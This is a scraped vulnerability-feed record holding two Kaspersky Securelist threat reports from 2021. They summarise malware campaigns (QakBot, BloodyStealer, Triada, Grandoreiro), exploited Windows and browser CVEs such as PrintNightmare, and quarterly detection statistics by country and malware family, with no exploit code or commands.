elevation](<https://encyclopedia.kaspersky.com/glossary/privilege-escalation/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) vulnerability, allowing an attacker with low access privileges to craft and use a malicious DLL file to run an exploit and gain higher privileges. However, that is only possible if the attacker already has direct access to the vulnerable computer in question.\n\nCVE-2021-34527 is significantly more dangerous because it is a [remote code execution](<https://encyclopedia.kaspersky.com/glossary/remote-code-execution-rce/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (RCE) vulnerability, which means it allows remote injection of DLLs.\n\nYou can find a more detailed technical description of both vulnerabilities [here](<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>).\n\n### Grandoreiro and Melcoz arrests\n\nIn July, the Spanish Ministry of the Interior [announced](<http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853>) the arrest of 16 people connected to the [Grandoreiro and Melcoz (aka Mekotio) cybercrime groups](<https://securelist.com/arrests-of-members-of-tetrade-seed-groups-grandoreiro-and-melcoz/103366/>). Both groups are originally from Brazil and form part of the [Tetrade umbrella](<https://securelist.com/the-tetrade-brazilian-banking-malware/97779/>), operating for a few years now in Latin America and Western Europe.\n\nThe Grandoreiro banking Trojan malware family initially started its operations in Brazil and then expanded its operations to other Latin American countries and then to Western Europe. The group has regularly improved its techniques; and, based on our analysis of the group's campaigns, it operates as a [malware-as-a-service (MaaS)](<https://encyclopedia.kaspersky.com/glossary/malware-as-a-service-maas/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) project. Our telemetry shows that, since January 2020, Grandoreiro has mainly attacked victims in Brazil, Mexico, Spain, Portugal and Turkey.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/14175031/tetrade_arrest_01.png>)\n\nMelcoz had been active in Brazil since at least 2018, before expanding overseas. We observed the group attacking assets in Chile in 2018 and, more recently, in Mexico: it's likely that there are victims in other countries too, as some of the targeted banks have international operations. As a rule, the malware uses AutoIt or VBS scripts, added into MSI files, which run malicious DLLs using the DLL-Hijack technique, aiming to bypass security solutions. The malware steals passwords from browsers and from the device's memory, providing remote access to capture internet banking access. It also includes a Bitcoin wallet stealing module. Our telemetry confirms that, since January 2020, Melcoz has been actively targeting Brazil, Chile and Spain, among other countries.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/14175038/tetrade_arrest_02.png>)\n\nSince both malware families are from Brazil, the individuals arrested in Spain are just operators. So, it's likely that the creators of Grandoreiro and Melcoz will continue to develop new malware techniques and recruit new members in their countries of interest.\n\n### Gamers beware\n\nEarlier this year, we discovered an ad in an underground forum for a piece of malware dubbed BloodyStealer by its creators. The malware is designed to steal passwords, cookies, bank card details, browser auto-fill data, device information, screenshots, desktop and client uTorrent files, Bethesda, Epic Games, GOG, Origin, Steam, Telegram, and VimeWorld client sessions and logs.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/16141037/bloodystealer-and-gaming-accounts-in-darknet-screen-1.png>)\n\n**_The BloodyStealer ad (Source: [https://twitter.com/3xp0rtblog](<https://twitter.com/3xp0rtblog/status/1380087553676697617>))_**\n\nThe authors of the malware, which has hit users in Europe, Latin America and the Asia-Pacific region, have adopted a MaaS distribution model, meaning that anyone can buy it for the modest price of around $10 per month (roughly $40 for a "lifetime license").\n\nOn top of its theft functions, the malware includes tools to thwart analysis. It sends stolen information as a ZIP archive to the C2 (command-and-control) server, which is protected against DDoS (distributed denial of service) attacks. The cybercriminals use either the (quite basic) control panel or Telegram to obtain the data, including gamer accounts.\n\nBloodyStealer is just one of many tools available on the dark web for stealing gamer accounts. Moreover, underground forums often feature ads offering to post a malicious link on a popular website or selling tools to generate phishing pages automatically. Using these tools, cybercriminals can collect, and then try to monetize, a huge amount of credentials. All kinds of offers related to gamer accounts can be found on the dark web.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/16141127/bloodystealer-and-gaming-accounts-in-darknet-screen-2.png>)\n\nSo-called logs are among the most popular. These are databases containing reams of data for logging into accounts. In their ads, attackers can specify the types of data, the geography of users, the period over which the logs were collected and other details. For example, in the screenshot below, an underground forum member offers an archive with 65,600 records, of which 9,000 are linked to users from the US, and 5,000 to residents of India, Turkey and Canada. The entire archive costs $150 (that's about 0.2 cents per record).\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/16141203/bloodystealer-and-gaming-accounts-in-darknet-screen-3.png>)\n\nCybercriminals can also use compromised gaming accounts to launder money, distribute phishing links and conduct other illegal business.\n\nYou can read more about gaming threats, including BloodyStealer, [here](<https://securelist.com/game-related-cyberthreats/103675/>) and [here](<https://securelist.com/bloodystealer-and-gaming-assets-for-sale/104319/>).\n\n### Triada Trojan in WhatsApp mod\n\nNot everyone is happy with the official WhatsApp app, turning instead to modified WhatsApp clients for features that the WhatsApp developers haven't yet implemented in the official version. The creators of these mods often embed ads in them. However, their use of third-party ad modules can provide a mechanism for malicious code to be slipped into the app unnoticed.\n\nThis happened recently with FMWhatsApp, a popular WhatsApp mod. In version 16.80.0 the developers used a third-party ad module that includes the Triada Trojan (detected by Kaspersky's mobile antivirus as Trojan.AndroidOS.Triada.ef). This Trojan performs an intermediary function. First, it collects data about the user's device, and then, depending on the information, it downloads one of several other Trojans. You can find a description of the functions that these other Trojans perform in [our analysis of the infected FMWhatsApp mod](<https://securelist.com/triada-trojan-in-whatsapp-mod/103679/>).\n\n### Qakbot banking Trojan\n\nQakBot (aka QBot, QuackBot and Pinkslipbot) is a banking Trojan that was first discovered in 2007, and has been continually maintained and developed since then. It is now one of the leading banking Trojans around the globe. Its main purpose is to steal banking credentials (e.g., logins, passwords, etc.), but it has also acquired functionality allowing it to spy on financial operations, spread itself and install ransomware in order to maximize revenue from compromised organizations.\n\nThe Trojan also includes the ability to log keystrokes, backdoor functionality, and techniques to evade detection. The latter includes virtual environment detection, regular self-updates and cryptor/packer changes. QakBot also tries to protect itself from being analyzed and debugged by experts and automated tools. Another interesting piece of functionality is the ability to steal emails: these are later used by the attackers to send targeted emails to the victims, with the information obtained used to lure victims into opening those emails.\n\nQakBot is known to infect its victims mainly via spam campaigns. In some cases, the emails are delivered with Microsoft Office documents or password-protected archives with documents attached. The documents contain macros and victims are prompted to open the attachments with claims that they contain important information (e.g., an invoice). In some cases, the emails contain links to web pages distributing malicious documents.\n\nHowever, there is another infection vector that involves a malicious QakBot payload being transferred to the victim's machine via other malware on the compromised machine. The initial infection vectors may vary depending on what the threat actors believe has the best chance of success for the targeted organization(s). It's known that various threat actors perform reconnaissance of target organizations beforehand to decide which infection vector is most suitable.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/01145837/Qakbot_technical_analysis_01.png>)\n\nWe analyzed statistics on QakBot attacks collected from our Kaspersky Security Network (KSN), where anonymized data voluntarily provided by Kaspersky users is accumulated and processed. In the first seven months of 2021 our products detected 181,869 attempts to download or run QakBot. This number is lower than the detection number from January to July 2020, though the number of users affected grew by 65% \u2013 from 10,493 in the previous year to 17,316 this year.\n\n_Number of users affected by QakBot attacks from January to July in 2020 and 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/01155141/01-en-qakbot.png>))_\n\nYou can read our full analysis [here](<https://securelist.com/qakbot-technical-analysis/103931/>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-26T12:00:36", "type": "securelist", "title": "IT threat evolution Q3 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527", "CVE-2021-40444"], "modified": "2021-11-26T12:00:36", "id": "SECURELIST:86368EF0EA7DAA3D2AB20E0597A62656", "href": "https://securelist.com/it-threat-evolution-q3-2021/104876/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-12T10:37:29", "description": "\n\n_These statistics are based on detection verdicts of Kaspersky products received from users who consented to providing statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network, in Q2 2021:\n\n * Kaspersky solutions blocked 1,686,025,551 attacks from online resources across the globe.\n * Web antivirus recognized 675,832,360 unique URLs as malicious.\n * Attempts to run malware for stealing money from online bank accounts were stopped on the computers of 119,252 unique users.\n * Ransomware attacks were defeated on the computers of 97,451 unique users.\n * Our file antivirus detected 68,294,298 unique malicious and potentially unwanted objects.\n\n## Financial threats\n\n### Financial threat statistics\n\nIn Q2 2021, Kaspersky solutions blocked the launch of at least one piece of banking malware on the computers of 119,252 unique users.\n\n_Number of unique users attacked by financial malware, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11140610/01-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Geography of financial malware attacks**\n\n_To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country._\n\n_Geography of financial malware attacks, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11140636/02-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Turkmenistan | 5.8 \n2 | Tajikistan | 5.0 \n3 | Afghanistan | 4.2 \n4 | Uzbekistan | 3.3 \n5 | Lithuania | 2.9 \n6 | Sudan | 2.8 \n7 | Paraguay | 2.5 \n8 | Zimbabwe | 1.6 \n9 | Costa Rica | 1.5 \n10 | Yemen | 1.5 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000)._ \n_** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\nLast quarter, as per tradition, the most widespread family of bankers was ZeuS/Zbot (17.8%), but its share in Q2 almost halved, by 13 p.p. Second place again went to the CliptoShuffler family (9.9%), whose share also fell, by 6 p.p. The Top 3 is rounded out by SpyEye (8.8%), which added 5 p.p., climbing from the eighth place. Note the disappearance of Emotet from the Top 10, which was predictable given the liquidation of its infrastructure in the previous quarter.\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Zbot | Trojan.Win32.Zbot | 17.8 \n2 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 9.9 \n3 | SpyEye | Trojan-Spy.Win32.SpyEye | 8.8 \n4 | Trickster | Trojan.Win32.Trickster | 5.5 \n5 | RTM | Trojan-Banker.Win32.RTM | 3.8 \n6 | Danabot | Trojan-Banker.Win32.Danabot | 3.6 \n7 | Nimnul | Virus.Win32.Nimnul | 3.3 \n8 | Cridex | Backdoor.Win32.Cridex | 2.3 \n9 | Nymaim | Trojan.Win32.Nymaim | 1.9 \n10 | Neurevt | Trojan.Win32.Neurevt | 1.6 \n \n_* Unique users who encountered this malware family as a percentage of all users attacked by financial malware._\n\n## Ransomware programs\n\n### Quarterly trends and highlights\n\n#### Attack on Colonial Pipeline and closure of DarkSide\n\nRansomware attacks on large organizations continued in Q2. Perhaps the most notable event of the quarter was the [attack by the DarkSide group on Colonial Pipeline](<https://ics-cert.kaspersky.com/reports/2021/05/21/darkchronicles-the-consequences-of-the-colonial-pipeline-attack/>), one of the largest fuel pipeline operators in the US. The incident led to fuel outages and a state of emergency in four states. The results of the investigation, which involved the FBI and several other US government agencies, was reported to US President Joe Biden.\n\nFor the cybercriminals, this sudden notoriety proved unwelcome. In their blog, DarkSide's creators heaped the blame on third-party operators. Another post was published stating that DarkSide's developers had lost access to part of their infrastructure and were shutting down the service and the affiliate program.\n\nAnother consequence of this high-profile incident was a new rule on the Russian-language forum XSS, where many developers of ransomware, including REvil (also known as Sodinokibi or Sodin), LockBit and Netwalker, advertise their affiliate programs. The new rule forbade the advertising and selling of any ransomware programs on the site. The administrators of other forums popular with cybercriminals took similar decisions.\n\n#### Closure of Avaddon\n\nAnother family of targeted ransomware whose owners shut up shop in Q2 is Avaddon. At the same time as announcing the shutdown, the attackers [provided](<https://www.bleepingcomputer.com/news/security/avaddon-ransomware-shuts-down-and-releases-decryption-keys/>) Bleeping Computer with the decryption keys.\n\n#### Clash with Clop\n\nUkrainian police [searched](<https://cyberpolice.gov.ua/news/kiberpolicziya-vykryla-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shyfruvalnyka-ta-nanesenni-inozemnym-kompaniyam-piv-milyarda-dolariv-zbytkiv-2402/>) and arrested members of the Clop group. Law enforcement agencies also deactivated part of the cybercriminals' infrastructure, which [did not](<https://www.bleepingcomputer.com/news/security/clop-ransomware-is-back-in-business-after-recent-arrests/>), however, stop the group's activities.\n\n#### Attacks on NAS devices\n\nIn Q2, cybercriminals stepped up their attacks on network-attached storage (NAS) devices. There appeared the new [Qlocker](<https://support.qnap.ru/hc/ru/articles/360021328659-\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c-Qnap-Ransomware-Qlocker>) family, which packs user files into a password-protected 7zip archive, plus our old friends [ech0raix](<https://www.qnap.com/en/security-advisory/QSA-21-18>) and [AgeLocker](<https://www.qnap.com/en-us/security-advisory/QSA-21-15>) began to gather steam.\n\n### Number of new ransomware modifications\n\nIn Q2 2021, we detected 14 new ransomware families and 3,905 new modifications of this malware type.\n\n_Number of new ransomware modifications, Q2 2020 \u2014 Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141411/03-en-ru-es-malware-report-q2-2021-graphs-pc.png>))_\n\n### Number of users attacked by ransomware Trojans\n\nIn Q2 2021, Kaspersky products and technologies protected 97,451 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141438/04-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Geography of ransomware attacks\n\n_Geography of attacks by ransomware Trojans, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141505/05-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries attacked by ransomware Trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 1.85 \n2 | Ethiopia | 0.51 \n3 | China | 0.49 \n4 | Pakistan | 0.40 \n5 | Egypt | 0.38 \n6 | Indonesia | 0.36 \n7 | Afghanistan | 0.36 \n8 | Vietnam | 0.35 \n9 | Myanmar | 0.35 \n10 | Nepal | 0.33 \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000)._ \n_** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country._\n\n### Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | WannaCry | Trojan-Ransom.Win32.Wanna | 20.66 \n2 | Stop | Trojan-Ransom.Win32.Stop | 19.70 \n3 | (generic verdict) | Trojan-Ransom.Win32.Gen | 9.10 \n4 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 6.37 \n5 | (generic verdict) | Trojan-Ransom.Win32.Phny | 6.08 \n6 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 5.87 \n7 | (generic verdict) | Trojan-Ransom.Win32.Agent | 5.19 \n8 | PolyRansom/VirLock | Virus.Win32.Polyransom / Trojan-Ransom.Win32.PolyRansom | 2.39 \n9 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 1.48 \n10 | (generic verdict) | Trojan-Ransom.MSIL.Encoder | 1.26 \n \n_* Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware._\n\n## Miners\n\n### Number of new miner modifications\n\nIn Q2 2021, Kaspersky solutions detected 31,443 new modifications of miners.\n\n_Number of new miner modifications, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141534/06-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Number of users attacked by miners\n\nIn Q2, we detected attacks using miners on the computers of 363,516 unique users of Kaspersky products worldwide. At the same time, the number of attacked users gradually decreased during the quarter; in other words, the downward trend in miner activity returned.\n\n_Number of unique users attacked by miners, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141602/07-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Geography of miner attacks\n\n_Geography of miner attacks, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141627/08-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Afghanistan | 3.99 \n2 | Ethiopia | 2.66 \n3 | Rwanda | 2.19 \n4 | Uzbekistan | 1.61 \n5 | Mozambique | 1.40 \n6 | Sri Lanka | 1.35 \n7 | Vietnam | 1.33 \n8 | Kazakhstan | 1.31 \n9 | Azerbaijan | 1.21 \n10 | Tanzania | 1.19 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000)._ \n_** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyberattacks\n\nQ2 2021 injected some minor changes into our statistics on exploits used by cybercriminals. In particular, the share of exploits for Microsoft Office dropped to 55.81% of the total number of threats of this type. Conversely, the share of exploits attacking popular browsers rose by roughly 3 p.p. to 29.13%.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141656/09-en-malware-report-q2-2021-graphs-pc.png>))_\n\nMicrosoft Office exploits most often tried to utilize the memory corruption vulnerability [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>). This error can occur in the Equation Editor component when processing objects in a specially constructed document, and its exploitation causes a buffer overflow and allows an attacker to execute arbitrary code. Also seen in Q2 was the similar vulnerability [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>), which causes a buffer overflow on the stack in the same component. Lastly, we spotted an attempt to exploit the [CVE-2017-8570](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>) vulnerability, which, like other bugs in Microsoft Office, permits the execution of arbitrary code in vulnerable versions of the software.\n\nQ2 2021 was marked by the emergence of several dangerous vulnerabilities in various versions of the Microsoft Windows family, many of them observed in the wild. Kaspersky alone found three vulnerabilities used in targeted attacks:\n\n * [CVE-2021-28310](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28310>) \u2014 an out-of-bounds (OOB) write vulnerability in the Microsoft DWM Core library used in Desktop Window Manager. Due to insufficient checks in the data array code, an unprivileged user using the DirectComposition API can write their own data to the memory areas they control. As a result, the data of real objects is corrupted, which, in turn, can lead to the execution of arbitrary code;\n * [CVE-2021-31955](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31955>) \u2014 an information disclosure vulnerability that exposes information about kernel objects. Together with other exploits, it allows an intruder to attack a vulnerable system;\n * [CVE-2021-31956](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31956>) \u2014 a vulnerability in the ntfs.sys file system driver. It causes incorrect checking of transferred sizes, allowing an attacker to inflict a buffer overflow by manipulating parameters.\n\nYou can read more about these vulnerabilities and their exploitation in our articles [PuzzleMaker attacks with Chrome zero-day exploit chain](<https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/>) and [Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild](<https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/>).\n\nOther security researchers found a number of browser vulnerabilities, including:\n\n * [CVE-2021-33742](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33742>) \u2014 a bug in the Microsoft Trident browser engine (MSHTML) that allows writing data outside the memory of operable objects;\n * Three Google Chrome vulnerabilities found in the wild that exploit bugs in various browser components: [CVE-2021-30551](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30551>) \u2014 a data type confusion vulnerability in the V8 scripting engine; [CVE-2021-30554](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30554>) \u2014 a use-after-free vulnerability in the WebGL component; and [CVE-2021-21220](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21220>) \u2014 a heap corruption vulnerability;\n * Three vulnerabilities in the WebKit browser engine, now used mainly in Apple products (for example, the Safari browser), were also found in the wild: [CVE-2021-30661](<https://support.apple.com/en-us/HT212317>) \u2014 a use-after-free vulnerability; [CVE-2021-30665](<https://support.apple.com/en-us/HT212336>) \u2014 a memory corruption vulnerability; and [CVE-2021-30663](<https://support.apple.com/en-us/HT212336>) \u2014 an integer overflow vulnerability.\n\nAll of these vulnerabilities allow a cybercriminal to attack a system unnoticed if the user opens a malicious site in an unpatched browser.\n\nIn Q2, two similar vulnerabilities were found ([CVE-2021-31201](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31201>) and [CVE-2021-31199](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31199>)), exploiting integer overflow bugs in the Microsoft Windows Cryptographic Provider component. Using these vulnerabilities, an attacker could prepare a special signed document that would ultimately allow the execution of arbitrary code in the context of an application that uses the vulnerable library.\n\nBut the biggest talking point of the quarter was the [critical vulnerabilities CVE-2021-1675 and CVE-2021-34527](<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>) in the Microsoft Windows Print Spooler, in both server and client editions. Their discovery, together with a [proof of concept](<https://encyclopedia.kaspersky.com/glossary/poc-proof-of-concept/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>), caused a stir in both the expert community and the media, which dubbed one of the vulnerabilities PrintNightmare. Exploitation of these vulnerabilities is quite trivial, since Print Spooler is enabled by default in Windows, and the methods of compromise are available even to unprivileged users, including remote ones. In the latter case, the RPC mechanism can be leveraged for compromise. As a result, an attacker with low-level access can take over not only a local machine, but also the domain controller, if these systems have not been updated, or available [risk mitigation methods](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) against these vulnerabilities have not been applied.\n\nAmong the network threats in Q2 2021, attempts to brute-force passwords in popular protocols and services (RDP, SSH, MSSQL, etc.) are still current. Attacks using EternalBlue, EternalRomance and other such exploits remain prevalent, although their share is gradually shrinking. New attacks include [CVE-2021-31166](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31166>), a vulnerability in the Microsoft Windows HTTP protocol stack that causes a denial of service during processing of web-server requests. To gain control over target systems, attackers are also using the previously found NetLogon vulnerability ([CVE-2020-1472](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472>)) and, for servers running Microsoft Exchange Server, vulnerabilities recently discovered while researching targeted attacks by the [HAFNIUM](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) group.\n\n## Attacks on macOS\n\nAs for threats to the macOS platform, Q2 will be remembered primarily for the appearance of new samples of the XCSSET Trojan. Designed to steal data from browsers and other applications, the malware is notable for spreading itself through infecting projects in the Xcode development environment. The Trojan takes the form of a bash script packed with the SHC utility, allowing it to evade macOS protection, which does not block script execution. During execution of the script, the SHC utility uses the RC4 algorithm to decrypt the payload, which, in turn, downloads additional modules.\n\n**Top 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | AdWare.OSX.Pirrit.j | 14.47 \n2 | AdWare.OSX.Pirrit.ac | 13.89 \n3 | AdWare.OSX.Pirrit.o | 10.21 \n4 | AdWare.OSX.Pirrit.ae | 7.96 \n5 | AdWare.OSX.Bnodlero.at | 7.94 \n6 | Monitor.OSX.HistGrabber.b | 7.82 \n7 | Trojan-Downloader.OSX.Shlayer.a | 7.69 \n8 | AdWare.OSX.Bnodlero.bg | 7.28 \n9 | AdWare.OSX.Pirrit.aa | 6.84 \n10 | AdWare.OSX.Pirrit.gen | 6.44 \n11 | AdWare.OSX.Cimpli.m | 5.53 \n12 | Trojan-Downloader.OSX.Agent.h | 5.50 \n13 | Backdoor.OSX.Agent.z | 4.64 \n14 | Trojan-Downloader.OSX.Lador.a | 3.92 \n15 | AdWare.OSX.Bnodlero.t | 3.64 \n16 | AdWare.OSX.Bnodlero.bc | 3.36 \n17 | AdWare.OSX.Ketin.h | 3.25 \n18 | AdWare.OSX.Bnodlero.ay | 3.08 \n19 | AdWare.OSX.Pirrit.q | 2.84 \n20 | AdWare.OSX.Pirrit.x | 2.56 \n \n_* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked._\n\nAs in the previous quarter, a total of 15 of the Top 20 threats for macOS are adware programs. The Pirrit and Bnodlero families have traditionally stood out from the crowd, with the former accounting for two-thirds of the total number of threats.\n\n### Geography of threats for macOS\n\n_Geography of threats for macOS, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141728/10-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | India | 3.77 \n2 | France | 3.67 \n3 | Spain | 3.45 \n4 | Canada | 3.08 \n5 | Italy | 3.00 \n6 | Mexico | 2.88 \n7 | Brazil | 2.82 \n8 | USA | 2.69 \n9 | Australia | 2.53 \n10 | Great Britain | 2.33 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000)._ \n_** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nIn Q2 2021, first place by share of attacked users went to India (3.77%), where adware applications from the Pirrit family were most frequently encountered. A comparable situation was observed in France (3.67%) and Spain (3.45%), which ranked second and third, respectively.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q2 2021, as before, most of the attacks on Kaspersky traps came via the Telnet protocol.\n\nTelnet | 70.55% \n---|--- \nSSH | 29.45% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q2 2021_\n\nThe statistics for cybercriminal working sessions with Kaspersky honeypots show similar Telnet dominance.\n\nTelnet | 63.06% \n---|--- \nSSH | 36.94% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q2 2021_\n\n**Top 10 threats delivered to IoT devices via Telnet**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 30.25% \n2 | Trojan-Downloader.Linux.NyaDrop.b | 27.93% \n3 | Backdoor.Linux.Mirai.ba | 5.82% \n4 | Backdoor.Linux.Agent.bc | 5.10% \n5 | Backdoor.Linux.Gafgyt.a | 4.44% \n6 | Trojan-Downloader.Shell.Agent.p | 3.22% \n7 | RiskTool.Linux.BitCoinMiner.b | 2.90% \n8 | Backdoor.Linux.Gafgyt.bj | 2.47% \n9 | Backdoor.Linux.Mirai.cw | 2.52% \n10 | Backdoor.Linux.Mirai.ad | 2.28% \n \n_* Share of each threat delivered to infected devices as a result of a successful Telnet attack out of the total number of delivered threats._\n\nDetailed IoT threat statistics are published in our Q2 2021 DDoS report: <https://securelist.com/ddos-attacks-in-q2-2021/103424/#attacks-on-iot-honeypots>\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose and web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that serve as sources of web-based attacks: Top 10\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites hosting malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographic source of web attacks, the GeoIP technique was used to match the domain name to the real IP address at which the domain is hosted._\n\nIn Q2 2021, Kaspersky solutions blocked 1,686,025,551 attacks from online resources located across the globe. 675,832,360 unique URLs were recognized as malicious by Web Anti-Virus components.\n\n_Distribution of web-attack sources by country, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141800/13-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Belarus | 23.65 \n2 | Mauritania | 19.04 \n3 | Moldova | 18.88 \n4 | Ukraine | 18.37 \n5 | Kyrgyzstan | 17.53 \n6 | Algeria | 17.51 \n7 | Syria | 15.17 \n8 | Uzbekistan | 15.16 \n9 | Kazakhstan | 14.80 \n10 | Tajikistan | 